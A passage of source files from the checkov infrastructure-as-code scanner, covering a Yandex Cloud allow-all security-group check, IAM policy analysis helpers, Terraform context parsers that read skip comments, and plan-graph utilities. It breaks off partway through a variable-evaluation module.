    "path": "checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupRuleAllowAll.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass VPCSecurityGroupRuleAllowAll(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure security group rule is not allow-all.\"\n        id = \"CKV_YC_20\"\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        supported_resources = (\"yandex_vpc_security_group_rule\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if conf[\"direction\"][0] == \"ingress\":\n            cidr_block = conf[\"v4_cidr_blocks\"]\n            self.evaluated_keys = [\"v4_cidr_blocks\"]\n            for cidr in cidr_block[0]:\n                if cidr == \"0.0.0.0/0\":\n                    if \"port\" in conf.keys():\n                        if conf[\"port\"][0] == -1:\n                            self.evaluated_keys.append(\"port\")\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n                    if \"from_port\" not in conf.keys() and \"to_port\" not in conf.keys():\n                        self.evaluated_keys.extend([\"from_port\", \"to_port\"])\n                        return CheckResult.FAILED\n                    if conf[\"from_port\"][0] == 0 and conf[\"to_port\"][0] == 65535:\n                        self.evaluated_keys.extend([\"from_port\", \"to_port\"])\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\nscanner = VPCSecurityGroupRuleAllowAll()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/yandexcloud/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/utils/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/checks/utils/base_cloudsplaining_iam_scanner.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport typing\nfrom abc import abstractmethod\nfrom typing import Dict, List, Any, Union\n\nfrom checkov.common.models.enums import CheckResult\n\nif typing.TYPE_CHECKING:\n    from cloudsplaining.scan.policy_document import PolicyDocument\n\n\nclass BaseTerraformCloudsplainingIAMScanner:\n    # creating a PolicyDocument is computational expensive,\n    # therefore a cache is defined at class level\n    policy_document_cache: Dict[str, PolicyDocument] = {}  # noqa: CCE003\n\n    def scan_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        if self.should_scan_conf(conf):\n            try:\n                if self.cache_key not in BaseTerraformCloudsplainingIAMScanner.policy_document_cache.keys():\n                    policy = self.convert_to_iam_policy(conf)\n                    BaseTerraformCloudsplainingIAMScanner.policy_document_cache[self.cache_key] = policy\n\n                policy_document: PolicyDocument = BaseTerraformCloudsplainingIAMScanner.policy_document_cache[self.cache_key]\n                violations = self.cloudsplaining_analysis(policy_document)\n                if violations and hasattr(self, 'evaluated_keys'):\n                    self.cloudsplaining_enrich_evaluated_keys(policy_document, violations)\n            except Exception:\n                # this might occur with templated iam policies where ARN is not in place or similar\n                logging.debug(f\"could not run cloudsplaining analysis on policy {conf}\")\n                return CheckResult.UNKNOWN\n            if violations:\n                logging.debug(f\"detailed cloudsplainging finding: {json.dumps(violations, indent=2, default=str)}\")\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    @property\n    @abstractmethod\n    def cache_key(self) -> str:\n        pass\n\n    @abstractmethod\n    def should_scan_conf(self, conf: Dict[str, List[Any]]) -> bool:\n        pass\n\n    @abstractmethod\n    def convert_to_iam_policy(self, conf: Dict[str, List[Any]]) -> PolicyDocument:\n        pass\n\n    @abstractmethod\n    def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]:\n        raise NotImplementedError()\n\n    @abstractmethod\n    def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument,\n                                             violating_actions: Union[List[str], List[Dict[str, Any]]]) -> None:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/terraform/checks/utils/consts.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/checks/utils/dependency_path_handler.py",
    "content": "from typing import List\n\nPATH_SEPARATOR = \"->\"\n\n\ndef unify_dependency_path(dependency_path: List[str]) -> str:\n    if not dependency_path:\n        return ''\n    return dependency_path[-1]\n"
  },
  {
    "path": "checkov/terraform/checks/utils/iam_terraform_document_to_policy_converter.py",
    "content": "from __future__ import annotations\n\nfrom typing import Dict, List, Any\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\n\ndef convert_terraform_conf_to_iam_policy(conf: Dict[str, List[Dict[str, Any]]]) -> Dict[str, List[Dict[str, Any]]]:\n    \"\"\"\n        converts terraform parsed configuration to iam policy document\n    \"\"\"\n    result = pickle_deepcopy(conf)\n    if \"statement\" in result.keys():\n        result[\"Statement\"] = result.pop(\"statement\")\n        for statement in result[\"Statement\"]:\n            if \"actions\" in statement:\n                statement[\"Action\"] = statement.pop(\"actions\")[0]\n            if \"resources\" in statement:\n                statement[\"Resource\"] = statement.pop(\"resources\")[0]\n            if \"not_actions\" in statement:\n                statement[\"NotAction\"] = statement.pop(\"not_actions\")[0]\n            if \"not_resources\" in statement:\n                statement[\"NotResource\"] = statement.pop(\"not_resources\")[0]\n            if \"effect\" in statement:\n                statement[\"Effect\"] = statement.pop(\"effect\")[0]\n            if \"effect\" not in statement and \"Effect\" not in statement:\n                statement[\"Effect\"] = \"Allow\"\n            if \"condition\" in statement:\n                conditions = statement.pop(\"condition\")\n                if conditions and isinstance(conditions, list):\n                    statement[\"Condition\"] = {}\n                    for condition in conditions:\n                        cond_operator = condition[\"test\"][0]\n                        cond_key = condition[\"variable\"][0]\n                        cond_value = condition[\"values\"][0]\n                        statement[\"Condition\"].setdefault(cond_operator, {})[cond_key] = cond_value\n    return result\n"
  },
  {
    "path": "checkov/terraform/context_parsers/__init__.py",
    "content": "from checkov.terraform.context_parsers.parsers import *  # noqa\n"
  },
  {
    "path": "checkov/terraform/context_parsers/base_parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport re\nfrom abc import ABC, abstractmethod\nfrom collections import defaultdict\nfrom itertools import islice\nfrom pathlib import Path\nfrom typing import List, Dict, Any, Tuple\n\nimport dpath\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.comment.enum import COMMENT_REGEX\nfrom checkov.common.models.enums import ContextCategories\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.terraform import TFDefinitionKey, get_abs_path\nfrom checkov.terraform.context_parsers.registry import parser_registry\n\nOPEN_CURLY = \"{\"\nCLOSE_CURLY = \"}\"\n\n\nclass BaseContextParser(ABC):\n    def __init__(self, definition_type: str) -> None:\n        # bc_integration.setup_http_manager()\n        self.logger = logging.getLogger(\"{}\".format(self.__module__))\n        add_resource_code_filter_to_logger(self.logger)\n        if definition_type.upper() not in ContextCategories.__members__:\n            self.logger.error(\"Terraform context parser type not supported yet\")\n            raise Exception()\n        self.definition_type = definition_type\n        self.tf_file = \"\"\n        self.tf_file_path: Path | None = None\n        self.file_lines: list[tuple[int, str]] = []\n        self.filtered_lines: list[tuple[int, str]] = []\n        self.filtered_line_numbers: list[int] = []\n        self.context: dict[str, Any] = defaultdict(dict)\n\n        parser_registry.register(self)\n\n    @abstractmethod\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        \"\"\"\n        returns the entity's path in the context parser\n        :param entity_block: entity definition block\n        :return: list of nested entity's keys in the context parser\n        \"\"\"\n        raise NotImplementedError\n\n    def get_entity_definition_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        \"\"\"\n        returns the entity's path in the entity definition block\n        :param entity_block: entity definition block\n        :return: list of nested entity's keys in the entity definition block\n        \"\"\"\n        return self.get_entity_context_path(entity_block)\n\n    def _is_block_signature(self, line_num: int, line_tokens: List[str], entity_context_path: List[str]) -> bool:\n        \"\"\"\n        Determine if the given tokenized line token is the entity signature line\n        :param line_num: The line number in the file\n        :param line_tokens: list of line tokens\n        :param entity_context_path: the entity's path in the context parser\n        :return: True/False\n        \"\"\"\n        block_type = self.get_block_type()\n        return all(x in line_tokens for x in [block_type] + entity_context_path)\n\n    @staticmethod\n    def _trim_whitespaces_linebreaks(text: str) -> str:\n        return text.strip()\n\n    def _filter_file_lines(self) -> List[Tuple[int, str]]:\n        parsed_file_lines = [(ind, self._trim_whitespaces_linebreaks(line)) for (ind, line) in self.file_lines]\n        self.filtered_lines = [(ind, line) for (ind, line) in parsed_file_lines if line]\n        self.filtered_line_numbers = [ind for ind, _ in self.filtered_lines]\n        return self.filtered_lines\n\n    def _read_file_lines(self) -> List[Tuple[int, str]]:\n        with open(self.tf_file, \"r\") as file:\n            file.seek(0)\n            file_lines = [(ind + 1, line) for ind, line in enumerate(file.readlines())]\n            return file_lines\n\n    @staticmethod\n    def is_optional_comment_line(line: str) -> bool:\n        return \"checkov:skip=\" in line or \"bridgecrew:skip=\" in line or \"cortex:skip=\" in line\n\n    def _collect_skip_comments(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        \"\"\"\n        Collects checkov skip comments to all definition blocks\n        :param definition_blocks: parsed definition blocks\n        :return: context enriched with with skipped checks per skipped entity\n        \"\"\"\n        bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping\n        comments = [\n            (\n                line_num,\n                {\n                    \"id\": identifier.strip(),\n                    \"suppress_comment\": match.group(3)[1:] if match.group(3) else \"No comment provided\",\n                },\n            )\n            for (line_num, x) in self.file_lines\n            if self.is_optional_comment_line(x)\n            for match in [re.search(COMMENT_REGEX, x)]\n            if match\n            for identifier in match.group(2).split(\",\")\n        ]\n        for entity_block in definition_blocks:\n            skipped_checks = []\n            entity_context_path = self.get_entity_context_path(entity_block)\n            entity_context = self.context\n            found = True\n            for k in entity_context_path:\n                if k in entity_context:\n                    entity_context = entity_context[k]\n                else:\n                    logging.warning(f'Failed to find context for {\".\".join(entity_context_path)}')\n                    found = False\n                    break\n            if not found:\n                continue\n            for (skip_check_line_num, skip_check) in comments:\n                if \"start_line\" in entity_context and \"end_line\" in entity_context \\\n                        and entity_context[\"start_line\"] < skip_check_line_num < entity_context[\"end_line\"]:\n                    # No matter which ID was used to skip, save the pair of IDs in the appropriate fields\n                    if bc_id_mapping and skip_check[\"id\"] in bc_id_mapping:\n                        skip_check[\"bc_id\"] = skip_check[\"id\"]\n                        skip_check[\"id\"] = bc_id_mapping[skip_check[\"id\"]]\n                    elif metadata_integration.check_metadata:\n                        skip_check[\"bc_id\"] = metadata_integration.get_bc_id(skip_check[\"id\"])\n                    skipped_checks.append(skip_check)\n            dpath.new(self.context, entity_context_path + [\"skipped_checks\"], skipped_checks)\n        return self.context\n\n    def _compute_definition_end_line(self, start_line_num: int) -> int:\n        \"\"\"Given the code block's start line, compute the block's end line\n        :param start_line_num: code block's first line number (the signature line)\n        :return: the code block's last line number\n        \"\"\"\n        parsed_file_lines = self.filtered_lines\n        start_line_idx = self.filtered_line_numbers.index(start_line_num)\n        i = 0\n        end_line_num = 0\n        for (line_num, line) in islice(parsed_file_lines, start_line_idx, None):\n            if OPEN_CURLY in line:\n                i += line.count(OPEN_CURLY)\n            if CLOSE_CURLY in line:\n                i -= line.count(CLOSE_CURLY)\n                if i == 0:\n                    end_line_num = line_num\n                    break\n        return end_line_num\n\n    def run(\n            self, tf_file: TFDefinitionKey, definition_blocks: List[Dict[str, Any]], collect_skip_comments: bool = True\n    ) -> Dict[str, Any]:\n        # TF files for loaded modules have this formation:  <file>[<referrer>#<index>]\n        # Chop off everything after the file name for our purposes here\n        self.tf_file = get_abs_path(tf_file)\n        self.tf_file_path = Path(self.tf_file)\n        self.context = defaultdict(dict)\n        self.file_lines = self._read_file_lines()\n        self.context = self.enrich_definition_block(definition_blocks)\n        if collect_skip_comments:\n            self.context = self._collect_skip_comments(definition_blocks)\n        return self.context\n\n    def get_block_type(self) -> str:\n        return self.definition_type\n\n    @staticmethod\n    def _clean_line(line: str) -> str:\n        res = line.replace('\"', \" \")\n        if '\"{' in res:\n            res = res.split(\"{\")[0]\n        return res\n\n    @abstractmethod\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        \"\"\"\n        Enrich the context of a Terraform block\n        :param definition_blocks: Terraform block, key-value dictionary\n        :return: Enriched block context\n        \"\"\"\n        pass\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/data_context_parser.py",
    "content": "from typing import Dict, Any, List\n\nfrom hcl2 import START_LINE, END_LINE\n\nfrom checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass DataContextParser(BaseContextParser):\n    def __init__(self) -> None:\n        definition_type = \"data\"\n        super().__init__(definition_type=definition_type)\n\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        entity_type, entity_value = next(iter(entity_block.items()))\n        entity_name = next(iter(entity_value))\n        return [entity_type, entity_name]\n\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        for entity_block in definition_blocks:\n            entity_type, entity_value = next(iter(entity_block.items()))\n            entity_name, entity_config = next(iter(entity_value.items()))\n\n            self.context[entity_type][entity_name] = {\n                \"start_line\": entity_config[START_LINE],\n                \"end_line\": entity_config[END_LINE],\n                \"code_lines\": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]],\n            }\n\n        return self.context\n\n\nparser = DataContextParser()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/locals_context_parser.py",
    "content": "from typing import Dict, Any, List\n\nfrom hcl2 import START_LINE, END_LINE\n\nfrom checkov.terraform.context_parsers.base_parser import BaseContextParser\nimport dpath\n\n\nclass LocalsContextParser(BaseContextParser):\n    def __init__(self) -> None:\n        definition_type = \"locals\"\n        super().__init__(definition_type=definition_type)\n\n    def _collect_local_values(self, local_block: Dict[str, Any]) -> None:\n        for local_name, local_value in local_block.items():\n            if local_name in {START_LINE, END_LINE}:\n                continue\n\n            local_value = local_value[0] if isinstance(local_value, list) and len(local_value) > 0 else local_value\n            if type(local_value) in (int, float, bool, str, dict):\n                dpath.new(self.context, [\"assignments\", local_name], local_value)\n\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        return []\n\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        for entity_block in definition_blocks:\n            if START_LINE in entity_block.keys():\n                self.context[\"start_line\"] = entity_block[START_LINE]\n            if END_LINE in entity_block.keys():\n                self.context[\"end_line\"] = entity_block[END_LINE]\n            if \"start_line\" in self.context and \"end_line\" in self.context:\n                self.context[\"code_lines\"] = self.file_lines[self.context[\"start_line\"] - 1: self.context[\"end_line\"]]\n\n            if isinstance(entity_block, dict):\n                self._collect_local_values(entity_block)\n        return self.context\n\n\nparser = LocalsContextParser()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/module_context_parser.py",
    "content": "from typing import Dict, Any, List\n\nfrom hcl2 import END_LINE, START_LINE\n\nfrom checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass ModuleContextParser(BaseContextParser):\n    def __init__(self) -> None:\n        definition_type = \"module\"\n        super().__init__(definition_type=definition_type)\n\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        entity_name = next(iter(entity_block.keys()))\n        return [entity_name]\n\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        for entity_block in definition_blocks:\n            entity_name, entity_config = next(iter(entity_block.items()))\n            self.context[entity_name] = {\n                \"start_line\": entity_config[START_LINE],\n                \"end_line\": entity_config[END_LINE],\n                \"code_lines\": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]],\n            }\n\n        return self.context\n\n\nparser = ModuleContextParser()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/provider_context_parser.py",
    "content": "import logging\nfrom typing import Dict, Any, List\n\nimport hcl2\nfrom hcl2 import START_LINE, END_LINE\n\nfrom checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass ProviderContextParser(BaseContextParser):\n    def __init__(self) -> None:\n        definition_type = \"provider\"\n        super().__init__(definition_type=definition_type)\n\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        entity_type, entity_value = next(iter(entity_block.items()))\n        return [entity_type, entity_value.get(\"alias\", [\"default\"])[0]]\n\n    def get_entity_definition_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        entity_type, _ = next(iter(entity_block.items()))\n        return [entity_type]\n\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        for entity_block in definition_blocks:\n            entity_type, entity_config = next(iter(entity_block.items()))\n            entity_name = entity_config.get(\"alias\", [\"default\"])[0]\n            self.context[entity_type][entity_name] = {\n                \"start_line\": entity_config[START_LINE],\n                \"end_line\": entity_config[END_LINE],\n                \"code_lines\": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]],\n            }\n\n        return self.context\n\n    def _is_block_signature(self, line_num: int, line_tokens: List[str], entity_context_path: List[str]) -> bool:\n        # Ignore the alias as it is not part of the signature\n        is_provider = super()._is_block_signature(line_num, line_tokens, entity_context_path[0:-1])\n        if not is_provider or \"=\" in line_tokens or line_tokens[0] != \"provider\":\n            if not all(bracket in line_tokens for bracket in (\"{\", \"}\")):\n                # The line provider = alias is not a provider block although it has the correct words\n                # Also skips comments that include words like provider and aws\n                return False\n\n        end_line = self._compute_definition_end_line(line_num)\n        provider_type = entity_context_path[0]\n        try:\n            provider_obj = hcl2.loads(\n                \"\\n\".join(\n                    map(lambda obj: obj[1], self.file_lines[line_num - 1 : end_line if end_line > line_num else line_num])\n                )\n            )[\"provider\"][0]\n        except Exception as e:\n            logging.info(f'got exception while loading file {self.tf_file}\\n {e}')\n            return False\n        alias = provider_obj[provider_type].get(\"alias\", [\"default\"])\n        return super()._is_block_signature(line_num, line_tokens + alias, entity_context_path)\n\n\nparser = ProviderContextParser()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/resource_context_parser.py",
    "content": "from typing import Dict, Any, List\n\nfrom hcl2 import END_LINE, START_LINE\n\nfrom checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass ResourceContextParser(BaseContextParser):\n    def __init__(self) -> None:\n        definition_type = \"resource\"\n        super().__init__(definition_type=definition_type)\n\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        entity_type = next(iter(entity_block.keys()))\n        entity_name = next(iter(entity_block[entity_type]))\n        return [entity_type, entity_name]\n\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        for entity_block in definition_blocks:\n            entity_type, entity_value = next(iter(entity_block.items()))\n            entity_name, entity_config = next(iter(entity_value.items()))\n\n            if isinstance(entity_config[START_LINE], list) and isinstance(entity_config[END_LINE], list):\n                entity_config[START_LINE] = entity_config[START_LINE][0]\n                entity_config[END_LINE] = entity_config[END_LINE][0]\n\n            self.context[entity_type][entity_name] = {\n                \"start_line\": entity_config[START_LINE],\n                \"end_line\": entity_config[END_LINE],\n                \"code_lines\": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]],\n            }\n\n        return self.context\n\n\nparser = ResourceContextParser()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/parsers/variable_context_parser.py",
    "content": "from typing import Dict, Any, List\n\nimport dpath\nfrom hcl2 import START_LINE, END_LINE\n\nfrom checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass VariableContextParser(BaseContextParser):\n    def __init__(self) -> None:\n        definition_type = \"variable\"\n        super().__init__(definition_type=definition_type)\n\n    def _collect_default_variables_values(self, variable_block: Dict[str, Dict[str, Any]]) -> None:\n        for variable_name, values in variable_block.items():\n            default_value = values.get(\"default\")\n            if (\n                isinstance(default_value, list)\n                and len(default_value) == 1\n                and type(default_value[0]) in (int, float, bool, str)\n            ):\n                dpath.new(self.context, [\"assignments\", variable_name], default_value[0])\n\n    def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]:\n        entity_name = next(iter(entity_block.keys()))\n        return [entity_name]\n\n    def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]:\n        for entity_block in definition_blocks:\n            entity_name, entity_config = next(iter(entity_block.items()))\n            self.context[entity_name] = {\n                \"start_line\": entity_config[START_LINE],\n                \"end_line\": entity_config[END_LINE],\n                \"code_lines\": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]],\n            }\n\n            if isinstance(entity_block, dict):\n                self._collect_default_variables_values(entity_block)\n        return self.context\n\n\nparser = VariableContextParser()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/registry.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Dict, TYPE_CHECKING, Tuple, List, Any\n\nimport dpath\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey\n\nif TYPE_CHECKING:\n    from checkov.terraform.context_parsers.base_parser import BaseContextParser\n\n\nclass ParserRegistry:\n    context_parsers: Dict[str, \"BaseContextParser\"] = {}  # noqa: CCE003\n    definitions_context: Dict[TFDefinitionKey, Dict[str, Dict[str, Any]]] = {}  # noqa: CCE003\n\n    def __init__(self) -> None:\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n\n    def register(self, parser: \"BaseContextParser\") -> None:\n        self.context_parsers[parser.definition_type] = parser\n\n    def reset_definitions_context(self) -> None:\n        self.definitions_context = {}\n\n    def enrich_definitions_context(\n        self, definitions: Tuple[TFDefinitionKey, Dict[str, List[Dict[str, Any]]]], collect_skip_comments: bool = True\n    ) -> Dict[TFDefinitionKey, Dict[str, Dict[str, Any]]]:\n        supported_definitions = [parser_type for parser_type in self.context_parsers.keys()]\n        (tf_definition_key, definition_blocks_types) = definitions\n\n        if definition_blocks_types:\n            definition_blocks_types = {x: definition_blocks_types[x] for x in definition_blocks_types.keys()}\n            for definition_type in definition_blocks_types.keys():\n                if definition_type in supported_definitions:\n                    dpath.new(self.definitions_context, [tf_definition_key, definition_type], {})\n                    context_parser = self.context_parsers[definition_type]\n                    definition_blocks = definition_blocks_types[definition_type]\n                    self.definitions_context[tf_definition_key][definition_type] = \\\n                        context_parser.run(tf_definition_key, definition_blocks, collect_skip_comments)\n        return self.definitions_context\n\n\nparser_registry = ParserRegistry()\n"
  },
  {
    "path": "checkov/terraform/context_parsers/tf_plan/__init__.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Any\n\nfrom checkov.cloudformation.parser.cfn_yaml import ContentType\nfrom checkov.cloudformation.parser import cfn_yaml\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nLOGGER = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(LOGGER)\n\n\ndef parse(\n    filename: str, out_parsing_errors: dict[str, str]\n) -> tuple[dict[str, Any], list[tuple[int, str]]] | tuple[None, None]:\n    \"\"\"\n        Decode filename into an object\n    \"\"\"\n    logging.debug(f\"[tf_plan] - Parsing file {filename}\")\n\n    try:\n        template, template_lines = cfn_yaml.load(filename, ContentType.TFPLAN)\n    except Exception as e:\n        logging.debug(f\"[tf_plan] - Failed to parse file {filename}\", exc_info=True)\n        out_parsing_errors[filename] = str(e)\n        return None, None\n\n    if (\n        template is not None\n        and isinstance(template, dict)\n        and 'terraform_version' in template\n        and 'planned_values' in template\n    ):\n        logging.debug(f\"[tf_plan] - Successfully parsed file {filename}\")\n\n        return template, template_lines\n\n    logging.debug(f\"[tf_plan] - Missing required fields in file {filename}\")\n    return None, None\n"
  },
  {
    "path": "checkov/terraform/deep_analysis_plan_graph_manager.py",
    "content": "import logging\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.terraform.graph_builder.graph_components.blocks import TerraformBlock\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.output.report import Report\nfrom checkov.terraform.plan_parser import TF_PLAN_RESOURCE_ADDRESS\nfrom typing import Dict, Tuple, Optional\n\n\nclass DeepAnalysisGraphManager:\n    def __init__(self, tf_graph: TerraformLocalGraph, tf_plan_graph: TerraformLocalGraph) -> None:\n        self.tf_graph: TerraformLocalGraph = tf_graph\n        self.tf_plan_graph: TerraformLocalGraph = tf_plan_graph\n        self._address_to_tf_idx_and_vertex_map: Dict[str, Tuple[int, TerraformBlock]] = {}\n        self._address_to_tf_plan_idx_and_vertex_map: Dict[str, Tuple[int, TerraformBlock]] = {}\n        self._apply_address_mapping()\n\n    def _apply_address_mapping(self) -> None:\n        self._address_to_tf_idx_and_vertex_map = {\n            vertex.attributes[TF_PLAN_RESOURCE_ADDRESS]: (i, vertex)\n            for i, vertex in enumerate(self.tf_graph.vertices)\n            if vertex.block_type == BlockType.RESOURCE\n        }\n        self._address_to_tf_plan_idx_and_vertex_map = {\n            vertex.attributes[TF_PLAN_RESOURCE_ADDRESS]: (i, vertex)\n            for i, vertex in enumerate(self.tf_plan_graph.vertices)\n            if vertex.block_type == BlockType.RESOURCE\n        }\n\n    def _get_tf_vertex_idx_from_tf_plan_vertex(self, v: TerraformBlock) -> Optional[int]:\n        vertex = self._address_to_tf_idx_and_vertex_map.get(v.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS, ''))\n        if vertex is None:\n            return None\n        return vertex[0]\n\n    def append_vertex_to_terraform_graph(self, tf_plan_vertex: TerraformBlock, tf_plan_vertex_index: int, address: str) -> None:\n        new_vertex_idx = len(self.tf_graph.vertices)\n        self.tf_graph.vertices.append(tf_plan_vertex)\n        self._address_to_tf_idx_and_vertex_map[address] = (new_vertex_idx, tf_plan_vertex)\n\n        for edge in self.tf_plan_graph.out_edges[tf_plan_vertex_index]:\n            dest = self.tf_plan_graph.vertices[edge.dest]\n            dest_index = self._get_tf_vertex_idx_from_tf_plan_vertex(dest)\n            if dest_index:\n                self.tf_graph.create_edge(new_vertex_idx, dest_index, edge.label)\n        for edge in self.tf_plan_graph.in_edges[tf_plan_vertex_index]:\n            origin = self.tf_plan_graph.vertices[edge.origin]\n            origin_index = self._get_tf_vertex_idx_from_tf_plan_vertex(origin)\n            if origin_index:\n                self.tf_graph.create_edge(origin_index, new_vertex_idx, edge.label)\n\n    def enrich_tf_graph_attributes(self) -> None:\n        for address, tf_plan_idx_and_vertex in self._address_to_tf_plan_idx_and_vertex_map.items():\n            tf_plan_vertex_index, tf_plan_vertex = tf_plan_idx_and_vertex\n            tf_idx_and_vertex = self._address_to_tf_idx_and_vertex_map.get(address)\n            if not tf_idx_and_vertex:\n                logging.info(f'Cant find this address: {address} in tf graph, adding it')\n                self.append_vertex_to_terraform_graph(tf_plan_vertex, tf_plan_vertex_index, address)\n                continue\n            _, tf_vertex = tf_idx_and_vertex\n            tf_vertex.attributes = {**tf_vertex.attributes, **tf_plan_vertex.attributes}\n            tf_vertex.path = tf_plan_vertex.path\n\n    def filter_report(self, report: Report) -> None:\n        report.failed_checks = [check for check in report.failed_checks if\n                                check.resource_address in self._address_to_tf_plan_idx_and_vertex_map]\n        report.passed_checks = [check for check in report.passed_checks if\n                                check.resource_address in self._address_to_tf_plan_idx_and_vertex_map]\n        report.skipped_checks = [check for check in report.skipped_checks if\n                                 check.resource_address in self._address_to_tf_plan_idx_and_vertex_map]\n        # No need to filter other fields for now\n        report.resources = set()\n        report.extra_resources = set()\n        report.parsing_errors = []\n"
  },
  {
    "path": "checkov/terraform/evaluation/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/evaluation/base_variable_evaluation.py",
    "content": "from abc import ABC, abstractmethod\nimport logging\nimport os\nimport re\nfrom typing import Tuple, Dict, Any, List\n\nimport dpath\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nTF_DEFINITIONS_STRIP_WORDS = re.compile(r\"\\b(?!\\d)([^\\/]+)\")\nNON_PATH_WORDS_REGEX = re.compile(r\"\\b(?!output)[^ .]+\")\nDEFINITION_TYPES_REGEX_MAPPING = {\"variable\": \"var\", \"locals\": \"local\"}\n\n\nclass BaseVariableEvaluation(ABC):\n    def __init__(\n        self,\n        root_folder: str,\n        tf_definitions: Dict[str, Dict[str, Any]],\n        definitions_context: Dict[str, Dict[str, Any]],\n    ) -> None:\n        self.logger = logging.getLogger(\"{}\".format(self.__module__))\n        add_resource_code_filter_to_logger(self.logger)\n        self.root_folder = root_folder\n        self.tf_definitions = tf_definitions\n        self.definitions_context = definitions_context\n\n    @abstractmethod\n    def evaluate_variables(self) -> Any:\n        \"\"\"\n        evaluate variables of tf_definitions entities\n        :return:\n        \"\"\"\n        raise NotImplementedError()\n\n    @staticmethod\n    def extract_context_path(definition_path: str) -> Tuple[str, str]:\n        \"\"\"\n        Converts a JSONPath (dpath library standard) definition entry path into valid context parser path\n        :param definition_path: entity's JSONPath syntax path in tf_definitions\n        :return:entity path in context parser\n        \"\"\"\n        return os.path.split(\"/\".join(re.findall(TF_DEFINITIONS_STRIP_WORDS, definition_path)))\n\n    @staticmethod\n    def reduce_entity_evaluations(\n        